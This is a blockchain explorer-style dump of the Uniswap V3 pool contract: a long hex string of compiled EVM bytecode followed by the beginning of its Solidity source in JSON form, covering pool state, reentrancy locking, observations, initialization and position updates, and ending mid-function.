b935083886000031061315c5789955061316e565b61316b8b8a8a600003856147d6565b95505b6001600160a01b038a81169087161482156131d15780801561318d5750815b6131a35761319e878d8c60016146cd565b6131a5565b855b95508080156131b2575081155b6131c8576131c3878d8c6000614652565b6131ca565b845b945061321b565b8080156131db5750815b6131f1576131ec8c888c6001614652565b6131f3565b855b9550808015613200575081155b613216576132118c888c60006146cd565b613218565b845b94505b8115801561322b57508860000385115b15613237578860000394505b81801561325657508a6001600160a01b0316876001600160a01b031614155b15613265578589039350613282565b61327f868962ffffff168a620f42400362ffffff166141a9565b93505b50505095509550955095915050565b6000600160ff1b82106132a357600080fd5b5090565b808203828113156000831215146132bd57600080fd5b92915050565b818101828112156000831215146132bd57600080fd5b600080806000198587098686029250828110908390030390508061330f576000841161330457600080fd5b508290049050613382565b80841161331b57600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150505b9392505050565b60008063ffffffff8716613430576000898661ffff1661ffff81106133aa57fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff16151560608301529092508a161461341c57613419818a8988614822565b90505b806020015181604001519250925050613510565b8688036000806134458c8c858c8c8c8c6148d2565b91509150816000015163ffffffff168363ffffffff161415613477578160200151826040015194509450505050613510565b805163ffffffff8481169116141561349f578060200151816040015194509450505050613510565b8151815160208085015190840151918390039286039163ffffffff80841692908516910360060b816134cd57fe5b05028460200151018263ffffffff168263ffffffff1686604001518660400151036001600160a01b031602816134ff57fe5b048560400151019650965050505050505b97509795505050505050565b600295860b860b60009081526020979097526040909620600181018054909503909455938301805490920390915560038201805463ffffffff600160d81b6001600160a01b036701000000000000008085048216909603169094027fffffffffff0000000000000000000000000000000000000000ffffffffffffff90921691909117600681810b90960390950b66ffffffffffffff1666ffffffffffffff199095169490941782810485169095039093160263ffffffff60d81b1990931692909217905554600160801b9004600f0b90565b60008082600f0b121561365457826001600160801b03168260000384039150816001600160801b03161061364f576040805162461bcd60e51b81526020600482015260026024820152614c5360f01b604482015290519081900360640190fd5b6132bd565b826001600160801b03168284019150816001600160801b031610156132bd576040805162461bcd60e51b81526020600482015260026024820152614c4160f01b604482015290519081900360640190fd5b60006401000276a36001600160a01b038316108015906136e1575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b613716576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b77ffffffffffffffffffffffffffffffffffffffff00000000602083901b166001600160801b03811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106137b757607f810383901c91506137c1565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146139c257886001600160a01b03166139a682612d6d565b6001600160a01b031611156139bb57816139bd565b805b6139c4565b815b9998505050505050505050565b6000806000898961ffff1661ffff81106139e757fe5b60408051608081018252919092015463ffffffff8082168084526401000000008304600690810b810b900b6020850152600160581b83046001600160a01b031694840194909452600160f81b90910460ff161515606083015290925089161415613a575788859250925050613510565b8461ffff168461ffff16118015613a7857506001850361ffff168961ffff16145b15613a8557839150613a89565b8491505b8161ffff168960010161ffff1681613a9d57fe5b069250613aac81898989614822565b8a8461ffff1661ffff8110613abd57fe5b825191018054602084015160408501516060909501511515600160f81b027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6001600160a01b03909616600160581b027fff0000000000000000000000000000000000000000ffffffffffffffffffffff60069390930b66ffffffffffffff16640100000000026affffffffffffff000000001963ffffffff90971663ffffffff199095169490941795909516929092171692909217929092161790555097509795505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310613c025780518252601f199092019160209182019101613be3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613c64576040519150601f19603f3d011682016040523d82523d6000602084013e613c69565b606091505b5091509150818015613c97575080511580613c975750808060200190516020811015613c9457600080fd5b50515b613ccd576040805162461bcd60e51b81526020600482015260026024820152612a2360f11b604482015290519081900360640190fd5b5050505050565b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f0000000000000000000000003d90feec1ec985a9f09d2269af0f77195e5422971693919290918291908083835b60208310613d6d5780518252601f199092019160209182019101613d4e565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114613dcd576040519150601f19603f3d011682016040523d82523d6000602084013e613dd2565b606091505b5091509150818015613de657506020815110155b613def57600080fd5b808060200190516020811015613e0457600080fd5b50519250505090565b808201828110156132bd57600080fd5b604080513060248083019190915282518083039091018152604490910182526020810180516001600160e01b03166370a0823160e01b17815291518151600093849384936001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216939192909182919080838360208310613d6d5780518252601f199092019160209182019101613d4e565b6000808361ffff1611613ef3576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b8261ffff168261ffff1611613f09575081613382565b825b8261ffff168161ffff161015613f4f576001858261ffff1661ffff8110613f2e57fe5b01805463ffffffff191663ffffffff92909216919091179055600101613f0b565b50909392505050565b80600f81900b8114612beb57600080fd5b6000806000613f76612bf0565b613f88846020015185604001516143a1565b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602080840182905261ffff600160b81b8404811685870152600160c81b84048116606080870191909152600160d81b8504909116608086015260ff600160e81b8504811660a0870152600160f01b909404909316151560c08501528851908901519489015192890151939461402c9491939092909190614acf565b93508460600151600f0b6000146141a157846020015160020b816020015160020b12156140815761407a6140638660200151612d6d565b6140708760400151612d6d565b8760600151614c84565b92506141a1565b846040015160020b816020015160020b12156141775760045460408201516001600160801b03909116906140d3906140b7612c27565b60208501516060860151608087015160089493929187916139d1565b6000805461ffff60c81b1916600160c81b61ffff938416021761ffff60b81b1916600160b81b939092169290920217905581516040870151614123919061411990612d6d565b8860600151614c84565b93506141416141358760200151612d6d565b83516060890151614cc8565b92506141518187606001516135ef565b600480546001600160801b0319166001600160801b0392909216919091179055506141a1565b61419e6141878660200151612d6d565b6141948760400151612d6d565b8760600151614cc8565b91505b509193909250565b60006141b68484846132d9565b9050600082806141c257fe5b84860911156133825760001981106141d957600080fd5b6001019392505050565b6040805160609490941b6bffffffffffffffffffffffff1916602080860191909152600293840b60e890811b60348701529290930b90911b60378401528051808403601a018152603a90930181528251928201929092206000908152929052902090565b60608060008361ffff1611614287576040805162461bcd60e51b81526020600482015260016024820152604960f81b604482015290519081900360640190fd5b865167ffffffffffffffff8111801561429f57600080fd5b506040519080825280602002602001820160405280156142c9578160200160208202803683370190505b509150865167ffffffffffffffff811180156142e457600080fd5b5060405190808252806020026020018201604052801561430e578160200160208202803683370190505b50905060005b87518110156143945761433f8a8a8a848151811061432e57fe5b60200260200101518a8a8a8a613389565b84838151811061434b57fe5b6020026020010184848151811061435e57fe5b60200260200101826001600160a01b03166001600160a01b03168152508260060b60060b81525050508080600101915050614314565b5097509795505050505050565b8060020b8260020b126143e1576040805162461bcd60e51b8152602060048201526003602482015262544c5560e81b604482015290519081900360640190fd5b620d89e719600283900b1215614424576040805162461bcd60e51b8152602060048201526003602482015262544c4d60e81b604482015290519081900360640190fd5b620d89e8600282900b1315614466576040805162461bcd60e51b815260206004820152600360248201526254554d60e81b604482015290519081900360640190fd5b5050565b6040805160808101825263ffffffff9283168082526000602083018190529282019290925260016060909101819052835463ffffffff1916909117909116600160f81b17909155908190565b60020b600881901d9161010090910790565b60008082116144d657600080fd5b600160801b82106144e957608091821c91015b68010000000000000000821061450157604091821c91015b640100000000821061451557602091821c91015b62010000821061452757601091821c91015b610100821061453857600891821c91015b6010821061454857600491821c91015b6004821061455857600291821c91015b60028210612beb57600101919050565b600080821161457657600080fd5b5060ff6001600160801b0382161561459157607f1901614599565b608082901c91505b67ffffffffffffffff8216156145b257603f19016145ba565b604082901c91505b63ffffffff8216156145cf57601f19016145d7565b602082901c91505b61ffff8216156145ea57600f19016145f2565b601082901c91505b60ff821615614604576007190161460c565b600882901c91505b600f82161561461e5760031901614626565b600482901c91505b60038216156146385760011901614640565b600282901c91505b6001821615612beb5760001901919050565b6000836001600160a01b0316856001600160a01b03161115614672579293925b8161469f5761469a836001600160801b03168686036001600160a01b0316600160601b6132d9565b6146c2565b6146c2836001600160801b03168686036001600160a01b0316600160601b6141a9565b90505b949350505050565b6000836001600160a01b0316856001600160a01b031611156146ed579293925b7bffffffffffffffffffffffffffffffff000000000000000000000000606084901b166001600160a01b03868603811690871661472957600080fd5b8361475957866001600160a01b031661474c8383896001600160a01b03166132d9565b8161475357fe5b0461477f565b61477f6147708383896001600160a01b03166141a9565b886001600160a01b0316614cf7565b979650505050505050565b600080856001600160a01b0316116147a157600080fd5b6000846001600160801b0316116147b757600080fd5b816147c95761469a8585856001614d02565b6146c28585856001614de3565b600080856001600160a01b0316116147ed57600080fd5b6000846001600160801b03161161480357600080fd5b816148155761469a8585856000614de3565b6146c28585856000614d02565b61482a61564a565b600085600001518503905060405180608001604052808663ffffffff1681526020018263ffffffff168660020b0288602001510160060b81526020016000856001600160801b03161161487e576001614880565b845b6001600160801b031673ffffffff00000000000000000000000000000000608085901b16816148ab57fe5b048860400151016001600160a01b0316815260200160011515815250915050949350505050565b6148da61564a565b6148e261564a565b888561ffff1661ffff81106148f357fe5b60408051608081018252919092015463ffffffff81168083526401000000008204600690810b810b900b6020840152600160581b82046001600160a01b031693830193909352600160f81b900460ff1615156060820152925061495890899089614ed8565b15614990578663ffffffff16826000015163ffffffff16141561497a57613510565b8161498783898988614822565b91509150613510565b888361ffff168660010161ffff16816149a557fe5b0661ffff1661ffff81106149b557fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b90910416151560608201819052909250614a6c57604080516080810182528a5463ffffffff811682526401000000008104600690810b810b900b6020830152600160581b81046001600160a01b031692820192909252600160f81b90910460ff161515606082015291505b614a7b88836000015189614ed8565b614ab2576040805162461bcd60e51b815260206004820152600360248201526213d31160ea1b604482015290519081900360640190fd5b614abf8989898887614f9b565b9150915097509795505050505050565b6000614ade60078787876141e3565b60015460025491925090600080600f87900b15614c24576000614aff612c27565b6000805460045492935090918291614b499160089186918591600160a01b810460020b9161ffff600160b81b83048116926001600160801b0390921691600160c81b900416613389565b9092509050614b8360058d8b8d8b8b87898b60007f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc61513b565b9450614bba60058c8b8d8b8b87898b60017f00000000000000000000000000000000000762d10ef955d55b7d038c7a7231cc61513b565b93508415614bee57614bee60068d7f00000000000000000000000000000000000000000000000000000000000000c8615325565b8315614c2057614c2060068c7f00000000000000000000000000000000000000000000000000000000000000c8615325565b5050505b600080614c3660058c8c8b8a8a61538b565b9092509050614c47878a8484615437565b600089600f0b1215614c75578315614c6457614c6460058c6155cc565b8215614c7557614c7560058b6155cc565b50505050505095945050505050565b60008082600f0b12614caa57614ca5614ca085858560016146cd565b613291565b6146c5565b614cbd614ca085858560000360006146cd565b600003949350505050565b60008082600f0b12614ce457614ca5614ca08585856001614652565b614cbd614ca08585856000036000614652565b808204910615150190565b60008115614d755760006001600160a01b03841115614d3857614d3384600160601b876001600160801b03166132d9565b614d50565b6001600160801b038516606085901b81614d4e57fe5b045b9050614d6d614d686001600160a01b03881683613e0d565b6155f8565b9150506146c5565b60006001600160a01b03841115614da357614d9e84600160601b876001600160801b03166141a9565b614dba565b614dba606085901b6001600160801b038716614cf7565b905080866001600160a01b031611614dd157600080fd5b6001600160a01b0386160390506146c5565b600082614df15750836146c5565b7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b168215614e91576001600160a01b03861684810290858281614e3157fe5b041415614e6257818101828110614e6057614e5683896001600160a01b0316836141a9565b93505050506146c5565b505b614e8882614e83878a6001600160a01b03168681614e7c57fe5b0490613e0d565b614cf7565b925050506146c5565b6001600160a01b03861684810290858281614ea857fe5b04148015614eb557508082115b614ebe57600080fd5b808203614e56614d68846001600160a01b038b16846141a9565b60008363ffffffff168363ffffffff1611158015614f0257508363ffffffff168263ffffffff1611155b15614f1e578163ffffffff168363ffffffff1611159050613382565b60008463ffffffff168463ffffffff1611614f46578363ffffffff1664010000000001614f4e565b8363ffffffff165b64ffffffffff16905060008563ffffffff168463ffffffff1611614f7f578363ffffffff1664010000000001614f87565b8363ffffffff165b64ffffffffff169091111595945050505050565b614fa361564a565b614fab61564a565b60008361ffff168560010161ffff1681614fc157fe5b0661ffff169050600060018561ffff16830103905060005b506002818301048961ffff87168281614fee57fe5b0661ffff8110614ffa57fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b9091041615156060820181905290955061506557806001019250614fd9565b898661ffff16826001018161507657fe5b0661ffff811061508257fe5b60408051608081018252929091015463ffffffff811683526401000000008104600690810b810b900b60208401526001600160a01b03600160581b8204169183019190915260ff600160f81b909104161515606082015285519094506000906150ed908b908b614ed8565b905080801561510657506151068a8a8760000151614ed8565b15615111575061512e565b8061512157600182039250615128565b8160010193505b50614fd9565b5050509550959350505050565b60028a810b900b600090815260208c90526040812080546001600160801b031682615166828d6135ef565b9050846001600160801b0316816001600160801b031611156151b4576040805162461bcd60e51b81526020600482015260026024820152614c4f60f01b604482015290519081900360640190fd5b6001600160801b03828116159082161581141594501561528a578c60020b8e60020b1361525a57600183018b9055600283018a90556003830180547fffffffffff0000000000000000000000000000000000000000ffffffffffffff166701000000000000006001600160a01b038c16021766ffffffffffffff191666ffffffffffffff60068b900b161763ffffffff60d81b1916600160d81b63ffffffff8a16021790555b6003830180547effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16600160f81b1790555b82546001600160801b0319166001600160801b038216178355856152d35782546152ce906152c990600160801b9004600f90810b810b908f900b6132c3565b613f58565b6152f4565b82546152f4906152c990600160801b9004600f90810b810b908f900b6132a7565b8354600f9190910b6001600160801b03908116600160801b0291161790925550909c9b505050505050505050505050565b8060020b8260020b8161533457fe5b0760020b1561534257600080fd5b60008061535d8360020b8560020b8161535757fe5b056144b6565b600191820b820b60009081526020979097526040909620805460ff9097169190911b90951890945550505050565b600285810b80820b60009081526020899052604080822088850b850b83529082209193849391929184918291908a900b126153d1575050600182015460028301546153e4565b8360010154880391508360020154870390505b6000808b60020b8b60020b121561540657505060018301546002840154615419565b84600101548a0391508460020154890390505b92909803979097039b96909503949094039850939650505050505050565b6040805160a08101825285546001600160801b0390811682526001870154602083015260028701549282019290925260038601548083166060830152600160801b900490911660808201526000600f85900b6154d65781516001600160801b03166154ce576040805162461bcd60e51b815260206004820152600260248201526104e560f41b604482015290519081900360640190fd5b5080516154e5565b81516154e290866135ef565b90505b60006155098360200151860384600001516001600160801b0316600160801b6132d9565b9050600061552f8460400151860385600001516001600160801b0316600160801b6132d9565b905086600f0b6000146155565787546001600160801b0319166001600160801b0384161788555b60018801869055600288018590556001600160801b03821615158061558457506000816001600160801b0316115b156155c2576003880180546001600160801b031981166001600160801b039182168501821617808216600160801b9182900483168501909216021790555b5050505050505050565b600290810b810b6000908152602092909252604082208281556001810183905590810182905560030155565b806001600160a01b0381168114612beb57600080fd5b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b6040805160808101825260008082526020820181905291810182905260608101919091529056fea164736f6c6343000706000a
|
{{
"language": "Solidity",
"sources": {
"contracts/UniswapV3Pool.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\nimport './interfaces/IUniswapV3Pool.sol';\n\nimport './NoDelegateCall.sol';\n\nimport './libraries/LowGasSafeMath.sol';\nimport './libraries/SafeCast.sol';\nimport './libraries/Tick.sol';\nimport './libraries/TickBitmap.sol';\nimport './libraries/Position.sol';\nimport './libraries/Oracle.sol';\n\nimport './libraries/FullMath.sol';\nimport './libraries/FixedPoint128.sol';\nimport './libraries/TransferHelper.sol';\nimport './libraries/TickMath.sol';\nimport './libraries/LiquidityMath.sol';\nimport './libraries/SqrtPriceMath.sol';\nimport './libraries/SwapMath.sol';\n\nimport './interfaces/IUniswapV3PoolDeployer.sol';\nimport './interfaces/IUniswapV3Factory.sol';\nimport './interfaces/IERC20Minimal.sol';\nimport './interfaces/callback/IUniswapV3MintCallback.sol';\nimport './interfaces/callback/IUniswapV3SwapCallback.sol';\nimport './interfaces/callback/IUniswapV3FlashCallback.sol';\n\ncontract UniswapV3Pool is IUniswapV3Pool, NoDelegateCall {\n using LowGasSafeMath for uint256;\n using LowGasSafeMath for int256;\n using SafeCast for uint256;\n using SafeCast for int256;\n using Tick for mapping(int24 => Tick.Info);\n using TickBitmap for mapping(int16 => uint256);\n using Position for mapping(bytes32 => Position.Info);\n using Position for Position.Info;\n using Oracle for Oracle.Observation[65535];\n\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override factory;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token0;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token1;\n /// @inheritdoc IUniswapV3PoolImmutables\n uint24 public immutable override fee;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n int24 public immutable override tickSpacing;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n uint128 public immutable override maxLiquidityPerTick;\n\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee as a percentage of the swap fee taken on withdrawal\n // represented as an integer denominator (1/x)%\n uint8 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n /// @inheritdoc IUniswapV3PoolState\n Slot0 public override slot0;\n\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal0X128;\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal1X128;\n\n // accumulated protocol fees in token0/token1 units\n struct ProtocolFees {\n uint128 token0;\n uint128 token1;\n }\n /// @inheritdoc IUniswapV3PoolState\n ProtocolFees public override protocolFees;\n\n /// @inheritdoc IUniswapV3PoolState\n uint128 public override liquidity;\n\n /// @inheritdoc IUniswapV3PoolState\n mapping(int24 => Tick.Info) public override ticks;\n /// @inheritdoc IUniswapV3PoolState\n mapping(int16 => uint256) public override tickBitmap;\n /// @inheritdoc IUniswapV3PoolState\n mapping(bytes32 => Position.Info) public override positions;\n /// @inheritdoc IUniswapV3PoolState\n Oracle.Observation[65535] public override observations;\n\n /// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance\n /// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because\n /// we use balance checks to determine the payment status of interactions such as mint, swap and flash.\n modifier lock() {\n require(slot0.unlocked, 'LOK');\n slot0.unlocked = false;\n _;\n slot0.unlocked = true;\n }\n\n /// @dev Prevents calling a function from anyone except the address returned by IUniswapV3Factory#owner()\n modifier onlyFactoryOwner() {\n require(msg.sender == IUniswapV3Factory(factory).owner());\n _;\n }\n\n constructor() {\n int24 _tickSpacing;\n (factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();\n tickSpacing = _tickSpacing;\n\n maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);\n }\n\n /// @dev Common checks for valid tick inputs.\n function checkTicks(int24 tickLower, int24 tickUpper) private pure {\n require(tickLower < tickUpper, 'TLU');\n require(tickLower >= TickMath.MIN_TICK, 'TLM');\n require(tickUpper <= TickMath.MAX_TICK, 'TUM');\n }\n\n /// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.\n function _blockTimestamp() internal view virtual returns (uint32) {\n return uint32(block.timestamp); // truncation is desired\n }\n\n /// @dev Get the pool's balance of token0\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance0() private view returns (uint256) {\n (bool success, bytes memory data) =\n token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @dev Get the pool's balance of token1\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance1() private view returns (uint256) {\n (bool success, bytes memory data) =\n token1.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n override\n noDelegateCall\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n )\n {\n checkTicks(tickLower, tickUpper);\n\n int56 tickCumulativeLower;\n int56 tickCumulativeUpper;\n uint160 secondsPerLiquidityOutsideLowerX128;\n uint160 secondsPerLiquidityOutsideUpperX128;\n uint32 secondsOutsideLower;\n uint32 secondsOutsideUpper;\n\n {\n Tick.Info storage lower = ticks[tickLower];\n Tick.Info storage upper = ticks[tickUpper];\n bool initializedLower;\n (tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (\n lower.tickCumulativeOutside,\n lower.secondsPerLiquidityOutsideX128,\n lower.secondsOutside,\n lower.initialized\n );\n require(initializedLower);\n\n bool initializedUpper;\n (tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (\n upper.tickCumulativeOutside,\n upper.secondsPerLiquidityOutsideX128,\n upper.secondsOutside,\n upper.initialized\n );\n require(initializedUpper);\n }\n\n Slot0 memory _slot0 = slot0;\n\n if (_slot0.tick < tickLower) {\n return (\n tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,\n secondsOutsideLower - secondsOutsideUpper\n );\n } else if (_slot0.tick < tickUpper) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n _slot0.tick,\n _slot0.observationIndex,\n liquidity,\n _slot0.observationCardinality\n );\n return (\n tickCumulative - tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityCumulativeX128 -\n secondsPerLiquidityOutsideLowerX128 -\n secondsPerLiquidityOutsideUpperX128,\n time - secondsOutsideLower - secondsOutsideUpper\n );\n } else {\n return (\n tickCumulativeUpper - tickCumulativeLower,\n secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,\n secondsOutsideUpper - secondsOutsideLower\n );\n }\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n noDelegateCall\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n return\n observations.observe(\n _blockTimestamp(),\n secondsAgos,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext)\n external\n override\n lock\n noDelegateCall\n {\n uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event\n uint16 observationCardinalityNextNew =\n observations.grow(observationCardinalityNextOld, observationCardinalityNext);\n slot0.observationCardinalityNext = observationCardinalityNextNew;\n if (observationCardinalityNextOld != observationCardinalityNextNew)\n emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev not locked because it initializes unlocked\n function initialize(uint160 sqrtPriceX96) external override {\n require(slot0.sqrtPriceX96 == 0, 'AI');\n\n int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n\n (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());\n\n slot0 = Slot0({\n sqrtPriceX96: sqrtPriceX96,\n tick: tick,\n observationIndex: 0,\n observationCardinality: cardinality,\n observationCardinalityNext: cardinalityNext,\n feeProtocol: 0,\n unlocked: true\n });\n\n emit Initialize(sqrtPriceX96, tick);\n }\n\n struct ModifyPositionParams {\n // the address that owns the position\n address owner;\n // the lower and upper tick of the position\n int24 tickLower;\n int24 tickUpper;\n // any change in liquidity\n int128 liquidityDelta;\n }\n\n /// @dev Effect some changes to a position\n /// @param params the position details and the change to the position's liquidity to effect\n /// @return position a storage pointer referencing the position with the given owner and tick range\n /// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient\n /// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient\n function _modifyPosition(ModifyPositionParams memory params)\n private\n noDelegateCall\n returns (\n Position.Info storage position,\n int256 amount0,\n int256 amount1\n )\n {\n checkTicks(params.tickLower, params.tickUpper);\n\n Slot0 memory _slot0 = slot0; // SLOAD for gas optimization\n\n position = _updatePosition(\n params.owner,\n params.tickLower,\n params.tickUpper,\n params.liquidityDelta,\n _slot0.tick\n );\n\n if (params.liquidityDelta != 0) {\n if (_slot0.tick < params.tickLower) {\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\n amount0 = SqrtPriceMath.getAmount0Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n } else if (_slot0.tick < params.tickUpper) {\n // current tick is inside the passed range\n uint128 liquidityBefore = liquidity; // SLOAD for gas optimization\n\n // write an oracle entry\n (slot0.observationIndex, slot0.observationCardinality) = observations.write(\n _slot0.observationIndex,\n _blockTimestamp(),\n _slot0.tick,\n liquidityBefore,\n _slot0.observationCardinality,\n _slot0.observationCardinalityNext\n );\n\n amount0 = SqrtPriceMath.getAmount0Delta(\n _slot0.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n _slot0.sqrtPriceX96,\n params.liquidityDelta\n );\n\n liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);\n } else {\n // current tick is above the passed range; liquidity can only become in range by crossing from right to\n // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n }\n }\n }\n\n /// @dev Gets and updates a position with the given liquidity delta\n /// @param owner the owner of the position\n /// @param tickLower the lower tick of the position's tick range\n /// @param tickUpper the upper tick of the position's tick range\n /// @param tick the current tick, passed to avoid sloads\n function _updatePosition(\n address owner,\n int24 tickLower,\n int24 tickUpper,\n int128 liquidityDelta,\n int24 tick\n ) private returns (Position.Info storage position) {\n position = positions.get(owner, tickLower, tickUpper);\n\n uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization\n uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization\n\n // if we need to update the ticks, do it\n bool flippedLower;\n bool flippedUpper;\n if (liquidityDelta != 0) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n\n flippedLower = ticks.update(\n tickLower,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n false,\n maxLiquidityPerTick\n );\n flippedUpper = ticks.update(\n tickUpper,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n true,\n maxLiquidityPerTick\n );\n\n if (flippedLower) {\n tickBitmap.flipTick(tickLower, tickSpacing);\n }\n if (flippedUpper) {\n tickBitmap.flipTick(tickUpper, tickSpacing);\n }\n }\n\n (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =\n ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);\n\n position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);\n\n // clear any tick data that is no longer needed\n if (liquidityDelta < 0) {\n if (flippedLower) {\n ticks.clear(tickLower);\n 